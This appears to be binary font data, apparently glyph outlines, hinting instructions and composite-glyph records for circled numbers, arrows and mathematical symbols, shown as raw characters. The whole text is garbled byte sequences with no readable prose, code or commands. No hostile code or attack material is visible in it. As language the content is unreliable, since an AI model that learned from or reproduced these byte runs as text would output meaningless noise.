*��+��!+����A�!�!]A!)!9!I!Y!i!y!�!�!�!�!�!�!
]�+��
*+�
�+��'$+�'�901! 4$32>32#"&'32654&#"5!5!N�K���K�g��g��iw3S[[S;�uc�W��׿!=��V��L�7�h������(F?>F(=�$����\�x��N�
21�+��+��#+�A��]A)9IYiy������
]A&6FVfv������
]A��]A�#�#]A#)#9#I#Y#i#y#�#�#�#�#�#�#
]�)9�/9� +� �
+�
�+�01! 4$32#"&54632"32654&#">325.N�K���K�g��g��766666676��̹�Ȣ@nqg1iaQ���L�7�h������I@@II@@=�������� ;g*�x��N�
�+��
+�
01! 4$32%!!5!N�K���K�g��g����.�����L�7�h�����*�x��N�
1=��+��+�� +�A��]A)9IYiy������
]A&6FVfv������
]A��]A� � ]A ) 9 I Y i y � � � � � � 
]�#9�/9�;9�;/A�;�;]A;);9;I;Y;i;y;�;�;�;�;�;�;
]�5��+��
)+�
�+��28+�201! 4$32#"&5463232654&'>54&#"2#"&546N�K���K�g��g��=;=>?<;=������p$f˻��e#q�0330233��L�7�h������;99;;::G����]|	pS{��{Sp	|�-..-.-.-x��N�
&21�+��-'+�-�+�A��]A)9IYiy������
]A&6FVfv������
]A��]�9�#9A�'�']A')'9'I'Y'i'y'�'�'�'�'�'�'
]�+��
+�
�*0+�*01! 4$32254&#"3267#"&'4632#"&N�K���K�g��g����͸�Ȣ?nrf3i_O�76588567��L�7�h������������!;f)��HBBHHAAx��N�
$0�+��(+�(�"+�"�.+���и/���A��]A)9IYiy������
]A�.�.]A.).9.I.Y.i.y.�.�.�.�.�.�.
]�
/�+���+�01! 4$32!5##7#"&54632"32654&N�K���K�g��g�ِ����&*''*)'')���������L�7�h��������*�&� n��mm��n���������	���=(F  76767654'&'&'!5%3!!  '&'&'&5476767�̆�mo5885om��4��mo5885om�������P�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�}�9�:�݈�@>}~������~}>@@>}~������~}>	���=A_  76767654'&'&'!!5676767654'&#"5>32  '&'&'&5476767�̆�mo5885om��4��mo5885om��)4�
\��)NBCkPQT`a�F�noIkl�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6����_��.X<<;_<<5�'(]]�IBBZooV@>}~������~}>@@>}~������~}>	���=Om  76767654'&'&'#"'&'5327654'&+5327654&#"567632  '&'&'&5476767�̆�mo5885om��4��mo5885om�ttBAzy�LOPUD�W�OPJJ���x??�zBLL\R[PG�jkr�=\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�yNNt�aa�'(<<rj<;�0/Z\b�
ST�d�	@>}~������~}>@@>}~������~}>	���= +I  76767654'&'&'!33##!5  '&'&'&5476767�̆�mo5885om��4��mo5885om��h�*˪����+\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��������@>}~������~}>@@>}~������~}>	���=?]  76767654'&'&'!!67632#"&'532654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���z�##$#�ut��K�SLHMV����A@AC�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6c���nm����)�}|�X@>}~������~}>@@>}~������~}>	���=,Jh  76767654'&'&'"327654'&.#"67632#"'&7632  '&'&'&5476767�̆�mo5885om��4��mo5885om���l@@�lm@??@�=|<�UT/GGV�hiڵ�mn���=|�^\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��KJ���KK��JK��ll�E&%mn��ޟ�-��@>}~������~}>@@>}~������~}>	���=$B  76767654'&'&'!#!  '&'&'&5476767�̆�mo5885om��4��mo5885om��\�N�����\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6`E��#�@>}~������~}>@@>}~������~}>	���=+BNl  76767654'&'&'"27654'&%.546  &54632654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���sBBBB�CBBB��ht�d�thuAB�tԄ9tihvvhit0\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�,=>�=>>>kl>=E�g����g�OOs����s�\hh\]hh�@>}~������~}>@@>}~������~}>	���=<Lj  76767654'&'&'532767#"'&54632#"'&27654'&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���=|<�UT.GHV�ghڴ�mm���=?>�m@??@ml@@@@J\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��lk�D%%lm��ޟ���橨KJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=+8Ca  76767654'&'&'"32654'.  735733!  '&'&'&5476767�̆�mo5885om��4��mo5885om�T,+VUVV++�2QPPQ�ΠP�3������p\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�{z������~{�����ӟ�>-,��g�%�&�݈�@>}~������~}>@@>}~������~}>	���=
(!5!#%  '&'&'&5476767������{\��|~<??<~|������|~<??<~|���#:�9�q @>}~������~}>@@>}~������~}>	���=#A676767654'&#"67632!5  '&'&'&5476767��lkIon�F�a`TULkCBN)��\���\��|~<??<~|������|~<??<~|� �ooZBBI�]]('�5<<_;<<X.��_��@>}~������~}>@@>}~������~}>	���=1O>54'&#"67632+32#"&'327654'&  '&'&'&5476767irkl�GPQ\\LLBz�??x���JJPO�W�DUPOL�yzAB�2\��|~<??<~|������|~<??<~|��d�TS
�b\Z/0�;<jr<<('�aa�tNN=@>}~������~}>@@>}~������~}>	���=
+!	!335#$  '&'&'&5476767��hn�����o\��|~<??<~|������|~<??<~|����������@>}~������~}>@@>}~������~}>	���=!?67632#"'&'32654'&#"!5  '&'&'&5476767CA@A����VMLHS�K��tu�#$##�\��|~<??<~|������|~<??<~|�=���|}�'���mn%�@>}~������~}>@@>}~������~}>	���=,J2#"&5476.#"32654'&#"67632  '&'&'&5476767Pm@??@ml�@@�C|=⇆nmϵ�ih�VGG/TU�<|=�\��|~<??<~|������|~<??<~|�+KJ��KK���JK�����ӟ�޸�nm%&E�ll�@>}~������~}>@@>}~������~}>	���=$!35$  '&'&'&5476767�>�h����\��|~<??<~|������|~<??<~|�@���fE�@>}~������~}>@@>}~������~}>	���=
$0N2"'&476' 654'&'>54& 74632#"&  '&'&'&5476767YtBBBC�BBBB/t����BAuht���t-tihvvhit0\��|~<??<~|������|~<??<~|��=>lk>>>=�>=E�s����sOO�g����g��]hh]\hh�@>}~������~}>@@>}~������~}>	���=.L%3276'&#"32767#"&'"'&547632  '&'&'&5476767!C>?=ↆmmд�hi�VHG.TU�<|=Al@@@@lm@??@��\��|~<??<~|������|~<??<~|����/��޸�ml%%D�klgKJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=
%C2#"&5476$  '!5##7  '&'&'&5476767�e22dedd22��TUUTB�U��¡����\��|~<??<~|������|~<??<~|��{z������z{�����ӟ�>-/��g��#&�%�q @>}~������~}>@@>}~������~}>u�Pj	!!5!!P���p��#��@��p�p�pt�	7%�����F�N����4�NGu�P85	z��D��<2�2p�J�J�t�	'-Z�K�����F����G�NuP�!!u��\l������E�>�~~�>uu�2"&'&'&5476?!".'&47>3!'&'&54767>2	�p4,
		���,$
		
$,��		
,4��2�p
�"2"�
�pu�P8!5!	���%��JZP��J�Ju�P8!5!	���%��J�H�J�Ju�P8#3#3#3!!5	���xx�<<�o���J���p��p��p��J�Ju�P855!#3#3#3������oP��xx�<<���΄��ΊX��X��X��Xu^}�	!!Y$�������%���PD!	6����>l������>�>��PD	!	��D�R�>l������>�>�P	B��l�����v�vu�Pb3!5	5!"'&'&'&u##+*15��J��1*+##��0+*%!�J�J�!%*+u�P847676763!5	5!"u##+*15��J��1*+##�0+*%!�J�J�!%*+0���!!	^��r{��VXe�o�ou�P855!���D��q���΄��Ξ0u�j%5!!53		!<�9�����h�9�����>����u�j%5!!53		!<�9����h�9�����>����+Z�!73#57!!+ I�d�&��+ъ����������2�&����+Z�5!'53#'!!!+����d�������I���|��&�2���������2�
!'!'!53	!�O��dcn�d����h��������������2�
3#5!7!!!	�n�d�n��d;��c��h����������dd�!53#'5!'!	!�]n�2�n2��2�r-��h���J��d�c;dJ�����dd�7!573#5!!	!�2+2n�2�n���r-��h��LJd;c�d��J�����<����!6767632#"'&'&'!	<'CZmo~yti^Z...*^Vqo~yti^?)X�6nGCZ.//+]Yon�zqi_X0//+]>I��ʞ	�BP�"&*.37#37#37#37#5!!!!3'#3'#3'#3'#�<���<���<���<�x�����í�y���_<�<(<�<(<�<(<�<Z��������P��������h��������pt>7&#"7'7	!%��*��BF��8����WU�{�FC��*��9o�X�:�W��ubP�55!5!!'!���������X����X����dd��PR������t�'327''	!!i�FB��*��8����X:�����*��CF��9����XU��pt>2%&#"6767&'&"67632&'&547676767t��BEHY'��#&N'$�X$)./,0+"""� /%Hp*G&/�$##*0,0.+"�W!'&'&#��'ZGGC�uaP�/4767!"!47676763"'&'&'&5!3!&'&5P��%�T)#$��"/*11*/"X$#)�%��e�eZ'&$(0+.!"-+0($&'Ze����t�2&'&'&'&54767#"'&'2767&'&'32t)H%���X"""+0,0-+"�$'N&#/'YHEB����CGGZ'��!&'&'$�W"+.0,0*##"�/&Gs�PX+B6%"'&'&'&547676$47676762"'&'&'&'&'&547676762$/�+�z>�_$#R#af����#R#)�>x��bQu���R$'�68�" ��vc�<�.676767632#"'&'&'&%&'&54767&'&5476�A ''+/54<3���o�8n23'9%%b��b%�&:?$ fLLf#&#/:&'+-23-+'�rr�'+-32-+�V2�e"'&'.54?654'&'&'&#!"#!".4?64/&4676763!23!276767654/&546767622�	��Z��rrd	Z	���	c�
��
�c	���2g"'&'.54?654'&'&'&+"#!".4764'&4676763!2;276767654/&546767622�pW\x�j���	�\W����	��
 4
���	��u�P^+#76767&'&/3#6767!5!!5!&'&'P�S�Jl
R�&GG&�R
lH�S��i*���n:

:n�**�OU��ä'66'����U��=;JHd��)�))��dHJ;=n��>&*'$&76#"'6767>	�7�>{J<�p�1��
GM+��SR��-PAd��m�R��
j��:&567$'&76&#""j+MG
��1��p�<J{�>7���
��m��dAP-�K���S�#�u		!	!����
���j�.u���-1������[3%!!!!(�������U���2xx��x���[#3!5!!5㢢x�U��������x2x��!	!��������p�p����	!	!�������p������ &HH������&IIT`�	'#'#'##'���R���KK���R���@�R�"~����KK�L����R��V��b�#73373737���@�R���KK���R���R����LKK���~�"R�]�z?3276767654'&'&'&#"7#7676767632#"'&'�<JHUYGK<9! <:LHUVJI>9!���w��w��
"3\^wv��lyZ^2103\^wv��ox[�9! <:LHUYGK<9!>9M���w���WOw\^2106Y^wv��ow\^2104[.]�z?#"'&'&'&54767676327#7&'&'&'&#"3276�[xo��vw^\3012^Zyl��vw^\3"
ˑ�w��w��!9>IJVUHL:< !9<KGYUHJƪ[4012^\wo��vw^Y6012^\wOWˑ�w���M9>!9<KGYUHL:< !u���$%9M'7! &'&'&'#536767> !'7$"!3!&'&'&'!#!2767676�w���1cb���bc1��1cb��bc1
-Ƒ���TSEF"e�e
"FES����"FEST�TSEF"Ȍ�w��GAvcbddbcvAG�HBwcbddbcwBHƑ##EFS $�� SFE#���$SFE####EFSd�Q	��	
���2@	@@	00	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y5!!d���	K��Ƒ<�����Ƒu�Q	��	
���2@	OO	__	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y'7!5!'7�w���	KƑȌ�w���Ƒd�Qڶ
	��2��2@
PP_
_O
O]1@
	
�
��9�2�20@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y5!'7'7!d���Ƒ��w���Ƒ<����Ƒ�w��w��Ƒd�Q!!5!!�	x�(S��w��S��K7�S�����S�Ku�Q7'!5!'7'7!5	�KK���S���w�S�(7KK�S��w��w�S�d�Q7'!!5!'7'	�KK��KK��S��w��S"S���w�7KKKK�S�����SS��w��w�d�Q
!5!3#
��Ƒ�w���[��
Ƒ�����6��u�Q
!'7'7!#3e[Ƒ��w������Ƒ�w��w���\d�Q!!!5!53#
�xKK��S��w��S����KK�S�����S��u�Q!7'#3!'7'7e�KK�x���S���w�S͖KK���\�S��w��w�Su�Q#5377777!'7'7#'''QcyA��������cƑ��w��������mc������cƑ�w��w�ƛ��������,��@V,���,��+V,���,��@'V,�V,���,��V,���,��@'V,�V,���,��+'V,�V,���,��@'V,�'V,�V,�����@V����,�@'V,�V����,�@'V,�V����,�@'V,�'V,�V����,�@'V,�V����,�@'V,�'V,�V����,�@'V,�'V,�V����,�@'V,�'V,�'V,�V������+V����,�@'V,�V����,�+'V,�V����,�@'V,�'V,�V����,�+'V,�V����,�@'V,�'V,�V����,�+'V,�'V,�V����,�@'V,�'V,�'V,�V������@'V��V����,�@'V,�'V��V����,�@'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V,�'V,�'V��V������V����,�@'V,�V����,�+'V,�V����,�@'V,�'V,�V����,�'V,�V����,�@'V,�'V,�V����,�+'V,�'V,�V����,�@'V,�'V,�'V,�V������@'V��V����,�@'V,�'V��V����,�@'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V,�'V��V����,�@'V,�'V,�'V,�'V��V������+'V��V����,�@'V,�'V��V����,�+'V,�'V��V����,�@'V,�'V,�'V��V����,�+'V,�'V��V����,�@'V,�'V,�'V��V����,�+'V,�'V,�'V��V����,�@'V,�'V,�'V,�'V��V������@'V��'V��V����,�@'V,�'V��'V��V����,�@'V,�'V��'V��V����,�@'V,�'V,�'V��'V��V����,�@'V,�'V��'V��V����,�@'V,�'V,�'V��'V��V����,�@'V,�'V,�'V��'V��V����,�@'V,�'V,�'V,�'V��'V��V����,�p�V,�p��,�p�@'V,�V,�p��,�p�+'V,�V,�p��,�p�@'V,�'V,�V,�p��,�p�'V,�V,�p��,�p�@'V,�'V,�V,�p��,�p�+'V,�'V,�V,�p��,�p�@'V,�'V,�'V,�V,�p��,�p@'V��V,�p��,�p@'V,�'V��V,�p��,�p@'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p@'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p@'V,�'V,�'V,�'V��V,�p��,�p+'V��V,�p��,�p@'V,�'V��V,�p��,�p+'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p+'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p+'V,�'V,�'V��V,�p��,�p@'V,�'V,�'V,�'V��V,�p��,�p@'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V,�'V,�'V��'V��V,�p��,�p'V��V,�p��,�p@'V,�'V��V,�p��,�p+'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p'V,�'V��V,�p��,�p@'V,�'V,�'V��V,�p��,�p+'V,�'V,�'V��V,�p��,�p@'V,�'V,�'V,�'V��V,�p��,�p@'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p@'V,�'V,�'V,�'V��'V��V,�p��,�p+'V��'V��V,�p��,�p@'V,�'V��'V��V,�p��,�p+'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p+'V,�'V��'V��V,�p��,�p@'V,�'V,�'V��'V��V,�p��,�p+'V,�'V,�'V��'V��V,�p��,�p@'V,�'V,�'V,�'V��'V��V,�p��,�p@'V��'V��'V��V,�p��,�p@'V,�'V��'V��'V��V,�p��,�p@'V,�'V��'V��'V��V,�p��,�p@'V,�'V,�'V��'V��'V��V,�p��,�p@'V,�'V��'V��'V��V,�p��,�p@'V,�'V,�'V��'V��'V��V,�p��,�p@'V,�'V,�'V��'V��'V��V,�p��,�p@'V,�'V,�'V,�'V��'V��'V��V,�p����pV��p��,�p@'V,�V��p��,�p+'V,�V��p��,�p@'V,�'V,�V��p��,�p'V,�V��p��,�p@'V,�'V,�V��p��,�p+'V,�'V,�V��p��,�p@'V,�'V,�'V,�V��p����p@'V��V��p��,�p@'V,�'V��V��p��,�p@'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p@'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p@'V,�'V,�'V,�'V��V��p����p+'V��V��p��,�p@'V,�'V��V��p��,�p+'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p+'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p+'V,�'V,�'V��V��p��,�p@'V,�'V,�'V,�'V��V��p����p@'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V,�'V,�'V��'V��V��p����p'V��V��p��,�p@'V,�'V��V��p��,�p+'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p'V,�'V��V��p��,�p@'V,�'V,�'V��V��p��,�p+'V,�'V,�'V��V��p��,�p@'V,�'V,�'V,�'V��V��p����p@'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p@'V,�'V,�'V,�'V��'V��V��p����p+'V��'V��V��p��,�p@'V,�'V��'V��V��p��,�p+'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p+'V,�'V��'V��V��p��,�p@'V,�'V,�'V��'V��V��p��,�p+'V,�'V,�'V��'V��V��p��,�p@'V,�'V,�'V,�'V��'V��V��p����p@'V��'V��'V��V��p��,�p@'V,�'V��'V��'V��V��p��,�p@'V,�'V��'V��'V��V��p��,�p@'V,�'V,�'V��'V��'V��V��p��,�p@'V,�'V��'V��'V��V��p��,�p@'V,�'V,�'V��'V��'V��V��p��,�p@'V,�'V,�'V��'V��'V��V��p��,�p@'V,�'V,�'V,�'V��'V��'V��V��p��,�p'V,�pV��p��,�p@'V,�'V,�pV��p��,�p+'V,�'V,�pV��p��,�p@'V,�'V,�'V,�pV��p��,�p'V,�'V,�pV��p��,�p@'V,�'V,�'V,�pV��p��,�p+'V,�'V,�'V,�pV��p��,�p@'V,�'V,�'V,�'V,�pV��p��,�p@'V��'V,�pV��p��,�p@'V,�'V��'V,�pV��p��,�p@'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p@'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V,�pV��p��,�p+'V��'V,�pV��p��,�p@'V,�'V��'V,�pV��p��,�p+'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p+'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p+'V,�'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V,�pV��p��,�p@'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V��'V,�pV��p��,�p'V��'V,�pV��p��,�p@'V,�'V��'V,�pV��p��,�p+'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V��'V,�pV��p��,�p+'V,�'V,�'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V,�pV��p��,�p@'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V��'V,�pV��p��,�p+'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V,�pV��p��,�p+'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p+'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V,�pV��p��,�p+'V,�'V,�'V��'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V��'V,�pV��p��,�p@'V��'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V,�'V��'V��'V��'V,�pV��p��,�p@'V,�'V,�'V,�'V��'V��'V��'V,�pV��pd�?Q!!!5!53#O�<KK��S��w��S$���KK�S�����S��u�PQ!7'#3!'7'7e�KK�<��$S���w�S͖KK���\�S��w��w�S��	'#'##'��R�v�v�R����R�g9v�Q�v���R���!#733737�����R�v�v�R��R���v��Qv9�gR��]�� A3276767654'&'&'&'476767#"'&'&'&� <:LHUYGK<9!>9M����G89!�03\^w���ZMw\^2106Y^wv��ow\^21�YGK<9! <:LHUVJI>9!��5 9:LHU�ow\^2���
!3\^wv��lyZ^2103\^wv�]�� A4'&'&''7327676767#"'&'&'&547676767'7�!98G�ˑ�M9>!9<KGYUHL:< �12^\wo��vw^Y6012^\wMZ̑�w^\30�UHL:9 �ˑ�!9>IJVUHL:< !9<KGY�vw^\3012^Zyl��vw^\3!
̑�w2^\wo��/0&567#";!"&=4&+5326=463�
O�/"�o��W5�UU�5���l�>>�l���<D���:8���IN�xW��X�Xx���t�s��ݓ��.7&54&'>7!2;#"#!532654&+W��o�"/�O
��/��l�>>�l����5�UU�5NI�8:��X�D<����s�t��ݔxX���W���g	
%
5��<�'������������������
3	5��j�'��
����������
#3	�����<
�����{
�����'e			����''���6�U����U��'e		'���''���cU����U�����'e		'���''cU����U��'f			'��f���U��:�:��U�����'f			'���f��U�8U�����#�u	���u���-��3!3!!#!#!5��������������������333333#######5S���zz���z��������������:�O�� :!!" 767>54'&'&'&$  $'&'&547676����z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG��.���48fj���~�fh4666fj���}�fk34�������ū����������ʪ���:�O��6B" 767>54'&'&'&$  $'&'&547676!!#!5!�z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG���
���
�48fj���~�fh4666fj���}�fk34�������ū����������ʪ���������:�O��6B" 767>54'&'&'&$  $'&'&547676			'	�z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG���sq���r������q���48fj���~�fh4666fj���}�fk34�������ū����������ʪ������q������r���qs���/
,&�'��'�����/c#5!67676&!!'&'7767�:#mD�K6�<A ��2mD�K6�<A/��U5O9�:[�<�J�U5O9�:[��/c+5!67676&!!!!'&'7767!5!7�JmD�K6�<A
��+��!mD�K6�<A��*���U5O9�:[����/�U5O9�:[����/c#%'&'77675%67676&�B��0mD�K6�<A#��X-mD�K6�<A�����_�U5O9�:[��v�U5O9�:[�/c>I%'&'7767'&'&'&54767676767676&&'&'67k?J "mD�K6�<AK>>>?J "mD�K6�<AP;; �$��0"#�>
�՜U5O9�:[>?JKVXKK>?
'�U5O9�:[��":;PG*#�n�b11S$�/�D65'67673''&'776?&'&'&'&5367676&],:�d�h^##B<\mD�K6�<A+(XC>'%�*-6HmC��K6�;B�5>\�/��h[aUTE>&���U5O9�:[�
$A<]Y]7<7*,�U5O9�:[�/c'!!!!67676&!!'&'776� ���] lD�K6�<A
n�MlD�K6�<B�����*��U5O9�:[��(؝T5O9�:�/c;?%'&'7767367>54'.'&"67676&!!�4.mD�K6�<A!HD:+.N&N//4-A"mD�K6�<AlTD&$$$IF�Y ��T�U5O9�:[�)N\59,/NԜU5O9�:[�$UD]Y�WWIF@���.5;!!&676$&632''&'7767327654'&� ��hMWS,mDK6�<A
47ʑ�H�W��mD��K6�<A-6aC��?^lO���� $|k�U5O9�:[����e��$GA��U5O9�:[o�8(6N��;,�/cSW67>54'.'&&767676&'&'776?&'&'&'&4767676!!A8+.N&N//44//N&N./(mD�K6�<AlTD&$$$IFY4.mD�K6�<BTKG&$$'FJX: ��N\59,/NN/,95\N��U5O9�:[�$UD]Y�WWIF&�U5O9�:[�	!KH]X�W^BH"�����/c#'+7!767676&!!'&'776?3!#3tomD�K6�<A-��mD�K6�<A.#����fN���U5O9�:[�h��U5O9�:[������/s@'&'7767#5367676&32#5676'&'&#�3mD�K6�<A0�t��:t��%mC��K6�;B"�6*0#"&$#0)7 �6�U5O9�:[��t:p:t��U5O9�:[�$#!2-41`##��/c)'&'7767'	767676&7	�#mD�K6�<A��'�؆� mD�K6�<A����(�;��U5O9�:[���')����U5O9�:[������م�/c376?67676&#4'&''&'7767#�UL�mD�K6�<A
m?U�$
EmD�K6�<AD'$�,k`ԜU5O9�:[�Ib��T��3�<�U5O9�:[�.��T�/c3'&'7767&'&367676&67653�UJ�mD�K6�<ArAU�$?mD�K6�<A="$�f��k^�МU5O9�:[Kb��T�3
n�U5O9�:[��.���/b0!#"'&'7327067632&#"0!5!�mD�K6�<AcmD�K6�<Ah�@���W6N8�9\f�W6N8�9\���b!#"'&'7327067632&#"0!!�mD�K6�<AcmD�K6�<A�<��@��W6N8�9\f�W6N8�9\�,���)��������H&���������H&�'���������
5	5���<��:��������������
55������:��1I��1�1�J���
5	53#���<�����:�����������B�����
55%3#������<��:��1I��1�1�J�������
5	5%3#���<�����:�����������s������
553#��������:��1I��1�1�J�������
5	53#���<�����:������������������
55	3#������<��:��1I��1�1�J���C�
;B#"'&'&'&#"5>32326#"'&'&'&#"5>32326
5�j�`k��^X�bi�an�
�^V�gj�`k�	�^X�bk�`k��^V�f����U�PE:=MS�NE;=K���PE:=LT�PE:>K����P�N�C�
;B#"'&'&'&#"5>32326#"'&'&'&#"5>3232655%�j�`k��^X�bi�an�
�^V�gj�`k�	�^X�bk�`k��^V��d���U�PE:=MS�NE;=K���PE:=LT�PE:>K��������
%!!'7!5!7%5����O��’�O�K>u�M����c��u��̵�N���5!!'7!5!75%���O��’�O�K>��;����j��u��������
3:3267#"'3267#"''7&#"5>327&#"5>32
5��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj�������E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8���P�N���
3:3267#"'3267#"''7&#"5>327&#"5>3255%��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj�������E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8��������5!5!-5
%%�������������\��r�������������i�����!5!!5!%%55%�����������\�����i��w��������:&#"'&/&#"5>32326!!
5�j�`k��^X�bi�an��^V��e��������PE:	=MS�NE;=K�F�����P�N���:&#"'&/&#"5>32326!!55%�j�`k��^X�bi�an��^V��e�������PE:	=MS�NE;=K�F�������
�")#"'&/&#"5>32326-5
%%�j�`k��^X�bi�an��^V��e����������PE:	=MS�NE;=K�o������ ����i��
�")#"'&/&#"5>32326%%55%�j�`k��^X�bi�an��^V�g���������PE:	=MS�NE;=K�o��i�����������B!!!!55%
%%����������������|�3�����W����i����B!5!5
%%55%��������������������E����i����������,55%-5
%%��������������������v����������i����,5%%5%%55%���������������Q���T��i��{���������
	55�����<�1�������������
5	5����<���1���LJ��1�1����
	55%3#�����<���1����������������
5	53#����<�����1���LJ��1�1�����m!5!!5!5�����������`�N�P�����m5!5!-5���������������:�����[��	555����������P�����P���N�P���[��55-5������������#��;������p$.#"#"&'532767676325�g�V^�
�na�ib�X^��k`�j����UK=;EN�SM=:EP�K�N�P����p$.#"#"&'53276767632-5�g�V^�
�na�ib�X^��k`�j�������UK=;EN�SM=:EP�K�������%,!!!!.#"#"&'532767676325�����g�V^�
�na�ib�X^��k`�j�����|��UK=;EN�SM=:EP�[�N�P�����%,!!!!.#"#"&'53276767632-5�����g�V^�
�na�ib�X^��k`�j��������|��UK=;EN�SM=:EP�[�����-�@ $!!!5!676762!!&'&'&!!����A%0�M
6WY�YV7
�N0/�H���7'H?a�93[2332[0<�f:H'%�,��U�y%!5%5$������|���}�C���US����x��|��U�y7!!%$�����}��|��C���|��SU��y7!!!'7!%5$�>��~����~�K����|���}�CMu��u��US����x��|���y7!!!'7!%$�>��~����~�K��}��|��CMu��u���|��SU�]�a!5!5%5$������-�&���o�b���n����%$���ff�uW�]�a!5!5%$����b��o��&�-���n�����u�f��$%���a
%5$!!!'7!5!7!5!7��-�&���o�b�,J�Xv�2���J���v�2D�%$���ff�uW�X���uW���uW���a
%$!!!'7!5!7!5!7�b��o��&�-�,J�Xv�2���J���v�2D��u�f��$%�t���uW���uW����;F#"'&'&'&#"5>32326#"'&'&'&#"5>32326%5$�j�`k��^X�bi�an�
�^V�gj�`s�	�^X�bk�`k��^V�g��-�&���o�b
�PE:=MS�NE;=K���PE:=LT�PE:>KR�%$���ff�uW����;F#"'&'&'&#"5>32326#"'&'&'&#"5>32326%$�j�`k��^X�bi�an�
�^V�gj�`s�	�^X�bk�`k��^V��eb��o��&�-
